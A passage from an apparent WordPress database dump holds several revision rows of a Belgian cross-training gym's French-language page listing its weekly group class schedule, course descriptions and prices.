80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:08', '2013-10-05 08:51:08', '', 11, 'http://www.crosstrainingcenter.be/11-revision-121/', 0, 'revision', '', 0),
(352, 1, '2013-10-05 08:53:02', '2013-10-05 08:53:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:53:02', '2013-10-05 08:53:02', '', 11, 'http://www.crosstrainingcenter.be/11-revision-123/', 0, 'revision', '', 0),
(353, 1, '2013-10-05 08:54:27', '2013-10-05 08:54:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:54:27', '2013-10-05 08:54:27', '', 11, 'http://www.crosstrainingcenter.be/11-revision-124/', 0, 'revision', '', 0),
(354, 1, '2013-10-05 08:55:15', '2013-10-05 08:55:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:15', '2013-10-05 08:55:15', '', 11, 'http://www.crosstrainingcenter.be/11-revision-125/', 0, 'revision', '', 0),
